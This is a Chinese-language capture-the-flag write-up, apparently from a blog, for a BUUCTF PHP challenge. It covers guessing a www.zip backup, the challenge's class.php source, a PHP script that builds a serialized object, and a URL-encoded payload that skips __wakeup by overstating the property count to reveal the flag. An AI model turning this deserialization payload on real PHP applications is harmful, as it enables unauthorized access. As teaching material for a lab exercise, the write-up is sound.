参考博文wpBUUCTF [极客大挑战 2019]PHP 1_wow小华的博客-CSDN博客
首先打开网站说他有备份;听其他师父说看到这种一般爆破目录;用dirsearch
扫,也听说这种一般都是www.zip
所以猜www.zip
打开发现真的有,下载后有几个文件,其中有用的就index.php和class.php
index.php代码:
这里面的意思就是 传进一个select,然后将select反序列化(unserialize);所以我们需要将传入的select先序列化;
class.php代码解读:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们要调用到__destruct()并且password=100,username=admin
才能echo $flag
怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()
结束的魔术方法(魔法函数)但首先要绕过wakeup。调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name
后面的2改为3或以上即可
绕过wakeup方法:当成员属性数目大于实际数目时可绕过wakeup;这是反序列化的漏洞
构造序列化:
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>
2.__wakeup()方法绕过
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
上面的代码,序列化后的结果为
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
- 1
其中name后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过__wakeup()函数。
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
但其中的空格“\0”和引号""URL是识别不了的,需要转换为URL编码:空格是%00," 是%22
所以构造
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}